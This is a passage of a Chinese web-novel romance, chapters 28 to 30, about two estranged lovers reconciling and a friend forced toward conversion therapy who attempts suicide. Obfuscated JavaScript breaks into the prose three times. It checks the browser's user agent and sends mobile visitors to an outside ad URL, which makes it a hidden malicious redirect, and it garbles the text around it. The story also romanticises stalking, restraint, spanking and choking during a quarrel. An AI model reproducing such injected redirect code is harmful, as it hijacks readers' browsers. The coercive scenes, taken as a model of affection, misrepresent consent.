牧泽顺着他的目光看过去,了然地点点头。 “他要是问,你就说我早走了。”方清珏说着,转身朝楼梯间走了过去。 其实今早那个话题,就算江川有和他一起回莱市的意思,他也不可能同意。 开什么玩笑。 被抛弃五个春秋,一千八百多个日夜,没人知道他到底死去活来多少回,怎么可能轻易原谅。 站楼道里抽了根烟,兜里的手机震了震,凌嘉澍说他已经到医院大门口了。 方清珏这才又回大厅看了看,楼门口没有人,江川已经走了。他大步流星地往出走,越走越觉得这天气闷得厉害,连阵风都没有,喘个气都费劲。 医院大门口的人行路上停着一辆蓝色跑车,骚气的大尾翼相当拉风。他打开车门坐进副驾驶,和驾驶位上梳着港式大背头,穿得很复古的男人打了个照面。 “最近怎么样?”凌嘉澍是广东人,说话带了点那边的口音,很好听。 “还那样。”方清珏系上安全带,跑车嗖地一下冲了出去。他不由得凝了凝眉,“超速了。” “八百年才回来一次,随便扣吧。”凌嘉澍跟着车载音乐的节奏用食指轻敲方向盘,“你什么时候回的国?要不是那天和你聊了两句,我还以为你已经开学了呢。” “回来半个多月了,院里在这边有个项目。”一提到开学,方清珏的唇角向下压了压。 凌嘉澍看了眼后视镜,有辆黑色轿车隔着不远不近的距离跟了一条街。他猛地踩了下油门,趁着红绿灯变色的最后几秒拐了方向,将那辆车甩掉了。 牧泽推荐的私房菜馆离得不算远,他开得又快,没一会儿就到了。将车停好,两个人踩着台阶走进大堂,服务生笑脸迎迎地走了过来,“先生,请问有预约吗?” 方清珏报了牧泽的名字,被服务生引着往包房去,凌嘉澍还站在门口,偏头看着马路对面,并没有跟上来。 “怎么了?” “没什么。”他说着收回了目光。 包厢里的饭菜都已经上好了,两个人面对面坐下来,一边吃饭一边简单地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146121|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聊了聊近况。 “十月有场秀得你上场。”凌嘉澍的语气不是在商量,而是通知,“在墨尔本。” 方清珏虽然只是兼职模特,但也是他手底下的人,又欠着人情,再不情愿也得应下来,“好。” “还和伯母冷战呢?”凌嘉澍问。 方清珏嗯了一声。 林真真和方程都在墨尔本工作,他去那里走秀,不回家看看说不过去,回去又免不了会吵一架。 烦。 一想到就烦。 “伯母为什么这么看好商科?非要让你跨专业考研。” “谁知道呢。” “这回你又没听她的,她不会就这么算了吧。” “还是那样,学费生活自理。” 说到这,方清珏掏出钱包,将一张卡放在桌面,推过去,“凌哥,之前几次给你转账你都退了回来,这回可不能再拒绝了。” 凌嘉澍瞥了一眼银行卡,神色变得有些微妙:“这么急着和我撇清关系啊。” “你知道我不是这个意思。”方清珏认真道,“你再不要……以后的秀我都不去了。” “你小子还威胁上了。”凌嘉澍不好再推辞,只能将卡收了起来,“行吧,那我暂时帮你保管着。” 方清珏嗯了一声,“这几年的学费不是小数目。我现在没办法全部还上,但会按月往卡里打款,你别嫌我还得慢就成。” “得了吧,谁催你了。”凌嘉澍拿着银行卡在手里来回转了转,看过来的目光有点促狭,“我还指望你转正呢,看来你是铁了心要当牙医了。” “你那又不缺我这一个模特。” 凌嘉澍莞尔一笑,收好银行卡岔开话题聊起了别的,吃完饭,方清珏送他离开,然后掏出手机看了一眼。 好家伙,十几个未接来电。 他低着头,眼睛一眨不眨地瞧着手机屏幕,像一个放置在街边的蜡像,在闷热又潮湿的夏风里呆立了半晌。 夜里往来的车流声嘈杂不断,如同鼓噪不止的心跳,方清珏紧抿着唇,默默将自己凌迟了一遍又一遍,最后还是决定算了。 正准备收起手机,手机就像生怕被抛弃似的嗡嗡嗡地震了起来。 还是江川打来的。 他迟疑几秒,按下接听键。 “方医生终于下班啦?”江川那边很安静,一点杂音都没有,像在一个密闭空间里。 方清珏嗯了一声,惜字如金道:“有事?” “没事就不能找你了?” 他攥紧手机,闭着眼睛深吸一口气,然后又睁开眼,语气冷淡且坚决:“算了吧,江川。” 电话里骤然沉默下来,几秒后,江川的声音突然变得很轻:“什么……算了?” “我没兴趣和你玩暧昧游戏,到此为止吧。”他说着就挂断了电话,向右拐进人行路。 这条路停了一排私家车,几乎占去了一半的道路空间。方清珏没走出几步,手机就又震了起来。 他烦躁地啧了一声,果断按掉电话并将号码拉黑,完事再冷着脸把手机揣进兜。 人行路树密叶茂,遮住了大半路灯的光,将浓郁的夜衬得深沉幽静。 方清珏边走边掏出一支烟叼在嘴里,摸出打火机正准备点火,就听见身后传来嘭地一声,类似于摔车门的声音。 随后,一阵脚步声极速靠近,没等他回过头,就有只手从斜后方伸到面前,嗖地一下扯掉了他嘴里的烟,扔在地上。 “你胃都什么样了!还抽!” 方清珏怔怔地看着突然冒出来江川,脑袋嗡地一下炸开。方才好不容易聚集起来的能量在挂断电话后就耗尽了,如今他是山穷水又尽,连说话的力气都没有了,声音很轻很轻。 “你……跟踪我?” 28.N.破冰之初 江川别过脸避开他的目光,几秒后又迎视过来,眼神别具深意,“我不跟过来怎么知道你到底在忙什么。” “我忙什么关你屁事?” 方清珏的眉心蹙了起来,但很快又压了回去,一副要爆炸但又立刻忍住了的模样。 “不说这个了。”江川笑了笑,声音和往日一样低柔,“你今天打针了没,没打现在还来得及。” “凭什么不说?”他不回避还好,这一回避方清珏立刻爆发了,“你搞搞清楚,我和你什么关系都没有,所以我在做什么,见了什么人,吃没吃饭打不打针也都与你无关!” 最后四个字他是咬着牙一个字一个字往外蹦的,几乎是每说出口一个字,脸色就跟着沉上一分,待他说完,一张脸已经冷峻至极。 江川看了他几秒,然后低下头,胸口很明显地起伏了几下。 “行。”他声音发沉,“那我们好好谈谈。” 话音一落,他就攫住方清珏的手腕,猛地用力一扯,将人生拉硬拽到停在斜后方的黑车轿车旁边。 副驾驶的门一打开,一股海风混合着青柠的香味迎面扑来,方清珏登时用手撑住了车顶,垂眼看着座椅皮垫上的logo和中央扶手箱前的车载香薰。 “这车哪来的?” “公司配的。” “公司?”方清珏的声音平淡极了,乌沉的目光从眼尾斜睨过去,黝黑的眼珠被清冷的月色笼上一层沁凉的光,“你来了两天就找到工作还配了车?忽悠谁呢?江川,这才是你追过来的真正原因吧!” 江川深深地叹了口气。 他这幅样子,令方清珏不自觉地想起了争吵不断的那段时光,心情顿时变得沉重极了。 “秦朗很喜欢我谱的曲子,一直想拉我进他公司。”江川解释道,“我没同意,就想写几首曲子给他做补偿。” 方清珏冷冷地笑出声来:“写曲子需要配车?” “这里是首都啊大哥,我每天都得来往音乐室和录音棚,配车不是很正常吗?” “是么。”方清珏指着坐垫logo和车载香熏,“这些都是你用惯的,你别告诉我连随手用的手帕都超过四位数的秦朗也中意这个品牌。” 江川张了张嘴,却一个字都没说出口,屹然一副百口莫辩的模样。 “还有车里的内饰,完全是按照你喜好布置的。这些东西都需要时间准备,明显在我回来前这车就已经给你安排好了!” 方清珏的眼神冰冷而锋利,像寒冬腊月凝结在窗户上冰晶。江川无奈地垂下眼,抓着他的手腕说:“你听我解释——” “我没兴趣听你编!”方清珏立刻甩开了他的手,走到后车座拉开车门,破罐子破摔道:“不就是想顺便找我走个肾?赶紧的,操-完马上滚!” 夜色浓重,街上车少人稀,连街道都异常安静。方清珏掷地有声地说完,江川神情一敛,连假笑都没了。他看过来的目光有如实质,沉甸甸的,带着难以言喻的压迫感,如泰山压顶一般让人喘不过来气。 两个人隔着夜色对峙了一秒,两秒,江川忽然走近,攫住他的胳膊往车里一抡,给他扔在了后车座。 随即,只听“嘭!”地一声巨响,车门闭阖了。 下一秒,江川岔开腿跨坐在方清珏的大腿上,居高临下地看着他,面容紧绷。 “你再说一遍?” 方清珏不由得想起胖子的话。他不得不承认,他好像就是有三言两语便能把江川激怒的本事。 “要操就操,不操就滚!” 昏暗仄人的车厢像一个沉默的牢笼,静得能听见窗外雀鸟飞过时煽动翅膀的声音,江川就这么盯了他半晌,然后淡淡开口:“你气糊涂了吧。” 不知是因为四周的光线太暗,还是其他的什么原因,他们明明离得这么近,方清珏却看不清他的目光,也猜不透他的心思,仿佛隔了十万八千里,爱恨全都变得模糊不清。 “我如果只是图一时快活,你喝多那晚就动手了,还会纠缠到现在?” “你要的是炮-友,又不是一夜情!” 江川的唇线渐渐绷直了,眸色也越来越深。他盯了方清珏几秒,突然抓住他的双手叠放着按在头顶,俯身压在他身上,疾声厉色道:“你就这么想我是吧!” 方清珏不甘示弱地回瞪着他:“被我说中了,心虚了是吗?!” 闻言,江川的眼角抽了抽,连太阳穴的青筋都暴了起来。他像是懒得再装,伪笑的假面彻底撕碎,低头就开始解方清珏腰间的皮带。 身体瞬间紧绷成一块铁板,方清珏心里一片悲凉。压在身上的人似乎感受到了他的抗拒,动作停顿了一秒,然后更加粗暴地扯下他的工装裤,朝着他的屁-股打了一下。 他下手不重,说是打,更像是通过这件事来表达他的愤怒。方清珏立刻皱起了眉,“你他妈——” 他抬腿就要踹过去,却被江川察觉了意图,抬手抓住脚踝把他的腿按回皮椅,然后从中央扶手箱里拽出一条数据线,将方清珏的双手捆绑住系在扶手上,抬起他的双腿架到肩头,再次俯身压了下去。 方清珏的腿被挤压着紧贴着胸膛,这个姿势令他不由自主地翘起了臀,紧接着“啪!”地一声,江川又打了他一巴掌! 他登时怒火中烧,挣扎着想起身,也挣扎着想踹开江川,可江川死死地禁锢着他,他根本就无法动弹,只能扯着嗓子大喊:“你再打一下试试!” “我就打了,怎么着吧。”江川说着又轻拍了一下。 “操!”方清珏骂骂咧咧道,“有本事你把老子放开!” “跟谁两呢!他妈来老子去的,张口闭口不是走肾就是炮-友,在国外几年长本事了啊,除了我你还这么激过谁?” “关你屁事?老子就算激了一个连又和你有什么关系!” 江川突然绷紧了下颌线:“你还真激过?” “不光激过还上过!” 闻言,江川眯缝起双眼定定地看了他几秒,然后伸出手,用虎口虚虚地卡住了他的脖子,“你再说一遍。” 他声音压得很低,听起来莫名危险。方清珏瞪了他几秒,然后就像故意作对似的,挪开目光不肯再看他,也不说话。 江川收拢五指,掐着他的脖子强迫他扭过脸去对视,方清珏气得眼睛都红了,“江川,你他妈就是个混蛋!” 这句话一出口,两个人都不约而同地怔了怔。江川明显也回想起了什么,语气顿时软了下去。 “方清珏,你和当初一样,一点信任都不肯给我,还惯会戳我心窝子。”他低头吁出一口气,甚是无奈地说,“戳吧,可劲儿戳,戳到你消气为止。” 方清珏听得眉头直颤,憋闷在心里的气全都堵到了胸腔,上不去也不下来,难受极了。 江川:“怎么不继续了?” 他松开手,用大拇指摩挲着方清珏颈侧的肌肤。这个动作他过去经常做,只不过以前是事后温存,现在是蓄意安抚。 方清珏用力抿了下唇,再次别过脸去,不看他了。 “不说了是吧?那听听别人怎么说。”江川掏出手机拨了一通电话,按下扩音键,举到方清珏面前。 是打给秦朗的,而且秦朗很快就接了:“喂?” 江川并不看手机,只盯方清珏,手机屏幕散发出来的冷光在他脸上洒下一层淡淡的霜,令面无表情的他看起来像一尊冰冷的雕像。 “秦朗,问你几个问题。” “嗯。” “这车什么时候配的?” “好像是两年前吧。” “专门给我配的?” “不然呢?” “为什么?” “想挖人,条件不丰厚点怎么行。这车怎么了吗?” “可我没同意入职呢,你这样太便宜我了吧。” “……这话你都说了八百遍了,你不烦我都烦了。”秦朗不耐烦道,“车以后归你了,放心开,我还没这么小气。” 他说着就挂断了电话,江川将手机扔到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153934|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,低头凑近方清珏的脸,“这回明白了?” 郁结的情绪如同弥漫在森林里的大雾,被风一吹就消退得一干二净。方清珏冷静下来,胸口倒是不堵了,但不爽和尴尬反而冒出来占据了上风。 他的表情非常不自然:“那也不能打我!” “你听听你刚刚说的那是人话吗?” “……”方清珏咬了咬牙,“那也不能打这!” “行,听你的。”江川说着坐直了身体,给他提上裤子,“我不是没想过你开学以后怎么办,我只是……” 方清珏的心扑通一声跳得又重又急,他立刻竖起了耳朵,“只是什么?” “算了,到时候再说吧。”江川将他的裤腰带系好,又将弄乱的衣角往平捋了捋。 操。 最恨这种说话只说一半的人! 方清珏抬起腿用膝盖狠狠地顶了一下他的腰,“给我解开!” 这一下力道不小,江川被撞得“嘶——”了一声,连眉头都皱了起来。他抬手揉了揉腰,歪头注视着方清珏,眼里却带着几分笑意,像被撞爽了似的。 “还挺记仇。” “赶紧的!” “你可真是我祖宗。” 江川伸过手来解数据线,恢复自由的一瞬间,方清珏猛地起身扑向他,将他压在对面的车窗上,“老实交代,这是你第几次跟踪我。” 江川挑着眉:“反正不是第一次。” 方清珏无语极了:“你还挺理直气壮?” “是啊。”他扬起唇角自嘲似的笑了笑,“我不就是这种人嘛。” “你刚刚说你想过以后怎么办,是什么意思?” 不知是混入了夜色还是别的什么,江川的眼神变得更加幽深,也很复杂,仿佛沉淀着浓重的心事。 “你觉得是什么意思就是什么意思。” “我觉不出来任何意思。” 江川听罢就垂下了眼,整张脸都陷入阴影中,莫名的有些消沉。他沉默一会儿,低声咕哝了一句:“……那这样也行。” 方清珏咬紧了后槽牙,憋在心里的气瞬间又聚集在胸口,让他顿时变得无比烦躁。 他听见耳边有个声音在质问:“你甘心吗?你愿意再被抛弃一次吗?” 心里却又有另一个声音在说:“算了吧,当初你也有错,别计较了。” 算了吧。 你甘心吗? 你愿意再被抛弃一次吗? 别计较了。 方清珏缓缓松开攥着江川肩头的手,突然一个字都不想说了,就像电影看到一半便知道到了结局,他失去了再问下去的欲望。 车厢内骤然安静下来,静得能听见彼此的呼吸声。他坐直身体,伸手去拉车门的把手,没想到车门竟然纹丝不动。 江川依旧保持着倚靠车窗的姿势,声音格外低沉。 “你要做什么。” “离你远点。” “那我还是不解童锁了。”江川仰起头,后脑勺抵着玻璃窗,呈现出一个完全摆烂的姿势,“我们就一直困在这里吧。” 方清珏一听就炸了:“你到底想怎样!” 江川目光笔直地盯着他:“把我从黑名单里放出来。” 方清珏转过头去瞪他,江川一脸坦然地任他瞪。这让方清珏生出一种感觉——哪怕他现在踹江川几脚,或者是揍江川一顿,江川都不会有任何松动,只会保持这样的表情随他折腾。 他顿时就泄了气,掏出手机将人从黑名单里拉了出来。 江川这才稍稍动了下眉毛,继续道:“我没地方住。” 方清珏:“……” 秦朗连车都配的宝马,不可能不给安排住处。江川为什么死皮赖脸地挤在他那间不到五十平米的单身公寓,宁可睡连腿都伸不开的沙发。 方清珏默默攥紧手机,用力到指尖泛白。他扭头看着窗外的街景,挣扎半晌,然后像没办法似的妥协了。 “……那就再留你一晚。” 29.N.长期感冒 早起依旧是被江川的喷嚏声吵醒的,而且听起来好像比昨天更严重了。 方清珏到底是没狠下心往出赶人,出门时还往他裤兜里塞了两袋感冒灵。 今天牧泽没来上班,哈德森教授说他请了病假,这让方清珏想起他抽烟时落寞又难过的样子,实在放心不下,午休时给人打了通电话。 “喂?” 牧泽的嗓音很哑,鼻音也很重,像是刚刚大哭过一场。 “你嗓子怎么回事?”方清珏问。 不等牧泽回答,电话里忽然传来一声轻笑。笑声有点远,听起来有些模糊,但他还是立刻认出了声音的主人。 “嵇野?” 下一秒,嵇野的声音突然变近了,像是凑到了话筒边:“你怎么不告儿他嗓子到底是怎么回事儿啊,哥哥。” 电话啪地一声被挂断,方清珏盯着手机屏幕看了好几十秒,忽然想起嵇野外号‘行走的荷尔蒙’,因为他看起来特别像那种会干得你三天都下不来床的人。 他的脸唰地一下就红了,站在风中凌乱了半晌才去门诊楼输液。 今天江川很安静,没像昨天那样一个劲儿短信轰炸,只发了条消息提醒他吃药。方清珏依旧没回,输完液跟着哈德森教授去了住院部。 不论哪个医院,住院部永远是最忙的,每天都会有突发事件,时不时还会有医闹纠纷,他们一过去就连轴转到太阳落山。 医务人员轮着班去食堂吃饭,哈德森顺路去看望牧泽奶奶,让他下班回去。 方清珏换下白大褂离开住院部,刚走到医院门口,就看见站在树下的青年。 夕光顺着枝叶间的缝隙洒下来,落得他满身斑驳,这场景和记忆中熟悉无比的画面重合,有那么一瞬间,他觉得自己只是刚放学,一走出校门就看见喜欢的人站在树下,等着接自己回家。 方清珏停下脚步,矗立在原地静静地凝望着江川。似乎是察觉到这抹视线,树下的人很快偏头看过来,目光与他对上以后弯起眉眼,笑得格外灿烂。 “昨天那位怎么没和你一起出来?”江川走过来,似有若无地往他身后看了一眼。 方清珏乜眼看他,“别装了,你和嵇野关系那么好,不可能不认识他。” 江川没否认,闻言只是笑得更深。 他收回视线,往右一拐,沿着人行路朝公寓楼的方向走。 “我很好奇你和牧泽怎么会这么熟,他这个人挺孤僻的,几乎没什么朋友。” 江川并肩走在身侧,说话时指尖有意无意地勾了一下他的小拇指,方清珏不动声色地拉开了距离。 “他挺照顾我的。”想起今天那通电话,他忍不住问,“嵇野为什么会同意订婚?” “他一开始应该是真信牧泽谈恋爱了,梁小姐又是牧泽帮他定下来的人……”江川顿了一下,继续说,“后面看见你,他才意识到牧泽在演戏,不过婚事已经定下了,嵇公不会给他反悔的机会。” 方清珏啧了一声:“他爸这么专制?” “是,嵇公的控制欲很强,也很有手段,总有办法让人不得不听话。” “真窒息……”方清珏心道,比林真真都让人窒息,“那他打算怎么办?真和梁小姐结婚?” “谁知道呢,但愿不会吧。” 江川抬头望了眼天,却只看见了繁盛的枝桠,茂密的树叶遮住了全部的光,如同遮住了希望。也许是这个话题有些沉重,他聊起了别的:“家里没菜了,再去买点吧。” 方清珏嗯了一声。 两个人一起进了一家超市,江川推着购物车,在瓜果区选西红柿。 明亮的光线从头顶笼罩过来,将他的头发照成了柔软的浅栗色,连脸颊上的绒毛都映着淡淡的光晕,看起来莫名的生动,有种居家宜室的人夫感。 方清珏静静地等在一旁,双眼一眨不眨地看着他,耳边再次回荡起那两个声音—— 算了吧。 你甘心吗? 你愿意再被抛弃一次吗? 别计较了。 江川忽然抬眸,“这么看我干什么?” “没什么。”他立刻撇开了视线。 今天买的东西不少,江川左右手各提一个袋子,看着就挺沉。回到家,他打着喷嚏关上门:“阿嚏——!” 方清珏:“这一路都没见你打喷嚏,我还以为你好点了呢。” “哪能那么快。”江川将东西放在橱台上,弯着腰换鞋。 方清珏突然凑近他的脸,隔着鼻尖相对的距离,看着那双藏在镜片后的眼睛:“早上塞你裤兜的那两包药你没喝吧?” 江川无声地蜷起指尖,笑着说:“怎么可能呢。” “是么?”方清珏依旧盯着他,黑沉的目光分外犀利。 “不信你检查一下。” 江川抓着他的手腕,作势要塞进裤兜里。肌肤相触的一刹那,方清珏立刻甩开了他的手,“喝不喝关我屁事,又不是我生病。” 江川提起塑料袋走到冰箱前,将东西一一放进冰箱,“晚上想吃什么?” “随便整碗面吧。”方清珏说着,走到阳台那里练哑铃,没有再理会他的意思。 江川切了不少西红柿,熬了一锅比之前还浓稠的酸汤,做了两碗番茄鸡蛋打卤面,还拍了个黄瓜,端到茶几上喊他吃饭。 两个人挨坐在茶几旁,方清珏打开电视,调到电影频道,拿起筷子准备边看边吃。 “等一下。”江川抓着他的手腕,将佛珠从他手上撸下来,歪身凑过来给他扎低马尾。 他这才意识到一直没摘这串佛珠,“……昨天忘记还你了。” “你戴着吧。”江川说,“本来也是给你求的。” 这已经是他第二次这么说了。 方清珏动了动唇,言语不似之前那么刻薄,纳罕道:“你不是无神论者吗?怎么会求这个?” “谁说的。”江川吸了口面,很随意地说,“我是方清珏论者。” “鬼信。” “真的,你没听过一首诗么?”江川用筷子搅拌碗里的面,说话的语调很慢,“你躺下去是山水,坐起来是菩萨。我一顾撒野,你笑着度化。我不信神佛,但很想被你度化。” 操。 有文化的流氓真可怕。 方清珏闷头吸面,没再说一句话。 吃完饭,他冲了包感冒灵放在茶几上,示意江川一会儿喝,然后抱着居家服去卫生间洗澡。再出来,就见江川蜷缩着躺在沙发上,一副虚脱无力的样子。 “你怎么了?”他走过去探了探他的体温。 江川的声音沙沙的,像是嗓子不太舒服,“有点头晕。” 双人沙发并不大,江川一米八几的个子躺在上面很勉强,连腿都伸不开。方清珏扶他坐起来,“去床上睡。” “还是算了吧,万一传染给你就不好了。” “又不亲嘴,怎么传染。” “不给亲,那给抱吗?” “你哪儿来那么多废话!要么睡要么滚!” “那我滚过去睡。”江川麻溜地去床上躺着了。 方清珏抱着电脑窝在沙发里查文献,学术论文都是干货,专业词汇多,看得人犯困。不知过了多久,江川支起上半身,隔着镂空的书架看向他,“要不我还是睡沙发吧。” “有床不睡睡沙发,什么毛病?” “那你有床不躺躺沙发,又是什么毛病。” 方清珏语塞一秒,“我有正事。” “什么正事忙到十一点还没忙完?” 方清珏:“……” 他合上电脑,站起来关掉灯,摸黑上了床。 也许是察觉到他的不适应,江川老老实实地贴墙躺着,一动都不动,存在感极低。 夜深人静,黑漆漆的房间里只能听见轻微的呼吸声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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牧泽这一病就病了三天,本来第四天能来上班,结果奶奶不行了,他又继续请假忙葬礼。 江川的病也不见好,今天咳嗽明天头疼,不知不觉就在他家赖了十多天,赖得方清珏都有点习惯了,没再提让他搬出去的事。 这天,他一到实验室就看见了瘦了一大圈的牧泽。而且他不光瘦了,神色也很憔悴,像大病了一场还没完全恢复过来似的,浑身上下都透着病气。 方清珏看过老太太的病历,已是强弩之末,走得也不算痛苦,相对于其他晚期患者来说是很好的结局。没想到牧泽还会受到这么大的打击,做实验也心不在焉,动不动就走神,不知道在想什么。 “你有心事?”方清珏问。 牧泽轻轻地摇了摇头。 “该不会是因为嵇野吧。”方清珏有点纳闷,“他又想干什么?” 提到这个人的一瞬间,牧泽整个人的线条都绷紧了,“……不知道。” 还真是因为他。 不知道为什么,方清珏感觉很不安,总觉得有事要发生。 这种感觉在晚上和江川一块吃饭,听见他手机响的那一刻达到了巅峰。 方清珏提着一口气,看着江川慢斯条理地从裤兜里掏出手机,又看着他按下了接听键。 然后,他伸过手去,打开了扬声器。 江川不明所以地看过来,下一秒,嵇野的声音出现在安静的房间:“江儿,一会儿把我哥送回去。” 方清珏皱了皱眉,心道,他怎么又去纠缠牧泽了? “你怎么不自己送?”江川不愿意。 “老头子要把我送进戒同所,车马上就来了。” “什么?”江川诧异极了。 方清珏也很意外,但他立刻明白过来发生了什么—— 嵇野向家里出柜了! 30.N.重蹈覆辙 电话那边的背景音忽然变得嘈杂,甚至出现了鸣笛声。 “钥匙在寻宝点,你等没人了再去挖!”这句话像烫嘴似的,嵇野说得极快,说完就挂断了电话。 江川立刻起身往玄关走,方清珏拿着钥匙跟上去,两个人一起下了楼。 轿车一路疾驰,半小时后驶进一个别墅区,前方不远处的一栋二层别墅下站了一圈穿军服的人,全副武装着,不许任何人靠近。 江川将车停在路边,透过挡风玻璃观察那边的情况。几分钟后,两名硬汉抬着昏迷的嵇野走出别墅,将人塞进商务车,关上车门绝尘而去。 围聚在别墅楼下的人也都井然有序地上了面包车,分批离开。待人都走干净,四周恢复了静谧,方清珏打开车门,作势要下车。 “再等等。”江川按住他的手。 他只好关上车门,望着一栋栋孤寂阴森的别墅发呆。 国内没有戒同所,那嵇野会被送到哪里? 牧泽呢,嵇公会怎么对牧泽? 方清珏的脑子有点乱,慢半拍地反应过来这一片别墅没有一个亮灯的,怪不得这么阴森。 过了半晌,江川打开车门走出去,方清珏也随之下了车。两个人摸黑走到嵇野家楼下,江川折了根树杈在门口的小花坛里挖土,挖出来一个火柴盒大小的铁盒。 方清珏:“这就是寻宝点?” “嗯。”江川打开铁盒,取出里面的钥匙,走到门前开锁,“以前和他在这玩过寻宝游戏,他把我手机埋花坛里了,害得我找了一宿。” 防盗门“咔哒——”一声打开了,江川摸黑进屋,没有开灯。他掏出手机打开手电筒的照明功能,轻车熟路地穿过客厅,方清珏跟在后面,走进一间三面墙都是书柜的房间。 江川直奔写字桌后面的那面墙,这墙上什么都没有,只有一个两米高的巨幅画像,画的是已经退役的GP车神。 “搭把手,把它挪开。” 方清珏有点疑惑,但还是配合着将画像搬了下来。然后,他看见了藏在画像后面的铁门,不由得瞪圆了眼睛:“……哪个正常人会在家里修密室?” “你以为他是什么好人。”江川用钥匙解开门锁,打开门,见牧泽被绑在门口的椅子上,嘴巴用胶带封住了,此刻正红着眼睛拼命地冲他们“呃呃呃”地求救。 方清珏猛地睁大了双眼,登时就冲进去解绳子,心道,还真不是什么好人,不对,就他妈不是人! 牧泽还在不断地“呃呃呃”地喊着什么,见方清珏没反应,他又抬眼看向江川,急切的眼神中带着恳求,像电影里抱着生命垂危的妻子求神医救治的那种眼神。 这门后是一条横向甬道,很窄,门后一米就是墙,牧泽贴墙坐在椅子上,方清珏一进去就把空间占满了,江川只能站在门口看着。 “你先把他嘴上的胶带撕了,他好像有话要说。” 方清珏已经解开了他手腕上的绳子,闻言就去撕胶带。他动作很慢,小心翼翼的,怕把牧泽的唇撕破了。 没想到牧泽猛地往反方向甩了一下头,利用惯性唰地一下将胶带扯了下来,然后就急切地喊出声:“阿野呢?!” 刚刚这一扯,扯得太急,他唇瓣破了好大一块皮,正汩汩地冒着血。 方清珏的双眼睁得更大了,没想到他竟然这么着急嵇野。他蹲下身去解捆在绑在脚腕处的绳子,心里泛起了嘀咕。 嵇野电话里并没有提牧泽在哪儿,江川怎么知道他被关在这里,难道他早就知道嵇野囚禁了牧泽? 心思及此,他回头冷冷地看了一眼江川。江川正与牧泽对视,没注意到他的目光,“他被嵇公带走了。” 闻言,牧泽面色煞如白纸,立刻就站起来想要往出跑,却被绳索捆住了脚,一个趔趄差点摔倒。 江川扶了他一下,他站稳后就弯下腰,手忙脚乱地跟着解脚上的绳子,一边解一边急急地嘟囔,“来不及了……要来不及了……” 江川皱着眉问:“什么来不及了?” “阿野不想去戒同所,他要在那辆车上自杀!” 闻言,江川的脸色瞬间白了几个度,微翘的唇线都绷得溜直。他转身就往出走,“我去取车。” 方清珏刚把绳子解开,牧泽就从他身边挤了出去,急冲冲地跑出书房。 他被撞得一屁股坐在了地上,心里暗暗啧了一声,然后起身拍了拍裤子上的灰,也跟着跑了出去。 轿车停在门口,牧泽已经坐在了后车座,他紧跟着坐进副驾驶,江川掉了个头往出开,“那车开走很久了……” 牧泽立刻道:“去机场!” 方清珏附和:“对,国内没有戒同所,他肯定会被送出国。” “机场那么大,找起来很吃力。”江川说,“我先往机场开,牧泽,你能联系上郁少吗?他人脉广,没准能查到这车在哪儿。” 方清珏:“可我们连车牌号都不知道啊。” “我记得。”江川报了个车牌号。 方清珏猛地转过头,吃惊地看着他。 “对……对……可以找他……”牧泽立刻哆嗦着掏出手机拨了通电话,“郁淮,阿野出事了,有件事要——你说什么?” 不知对方说了什么,牧泽眼里的光乍然灭了下去,整个人跟被抽空了似的,像一个死气沉沉的空壳。 “怎么了?”江川倏地攥紧方向盘,透过后视镜看他。 牧泽缓缓放下手机,声音瞬间苍老了许多,有气无力地道:“……去盘山吧。” 闻言,江川猛地一个急刹车,突然得方清珏惯性朝前,几乎就要趴在操控台上了。 盘山怎么了,这两人怎么突然就一个失魂,一个失神? 轿车迅速调头换了个方向,车内的气氛骤然变得无比沉默,连空气都凝滞住,不再流动了。方清珏掏出手机搜了下盘山地图,发现那里有家私人医院。 他的心猛地一沉。 迟了…… 嵇野已经自杀了。 长街寂静,夜越来越深,黑暗像浓雾一样从四面八方围拢过来,连点星光都看不见,仿佛再也不会天亮,江川一路疾驰,四十多分钟后到达了山顶的私人医院。 之前那些守在嵇野家楼下的人此刻都守在医院门口,看见他们便将车拦了下来,不许通行。 方清珏降下车窗,“这是医院,你们还能拦人看病不成?” 拦车的硬汉面无表情道:“这是私人医院,并不对外开放。” “干爹应该是不想此事外泄。”牧泽打开车门走下去。 那个硬汉一看见他就用对讲机汇报了什么,随后放下手:“您可以进,但您的朋友不行。” 牧泽被放行,没一会儿就消失在夜色中。江川掏出手机看了看地图,说:“北面有个坡,不知道能不能攀进去。” “试试吧。”方清珏解开安全带,正想开门下车,就被后方乍然亮起的光线照得眯了眯眼。 一辆酒红色的迈巴赫从后面开过来,与他们擦肩而过,同样被拦了下来,就停在他们前面。 迈巴赫的前车窗降下来,露出一张美到张扬的脸。 那是一个留着黑色一刀切和漫画齐刘海的女人,画着精致的欧美小烟熏,妖艳的红唇间衔着一根细长的女士香烟,看起来酷飒霸气,气场十足。 她掀起眼皮,漫不经心地看了一眼拦车的硬汉,硬汉便立刻行了个礼,后退一步放行了。 “谁允许你们在这设卡的?给我撤走。”她手肘搭着车窗舷,说话的声音不大,透着不容置喙的意味。 硬汉一听,神色颇为为难:“郁总,这需要向上级请示。” 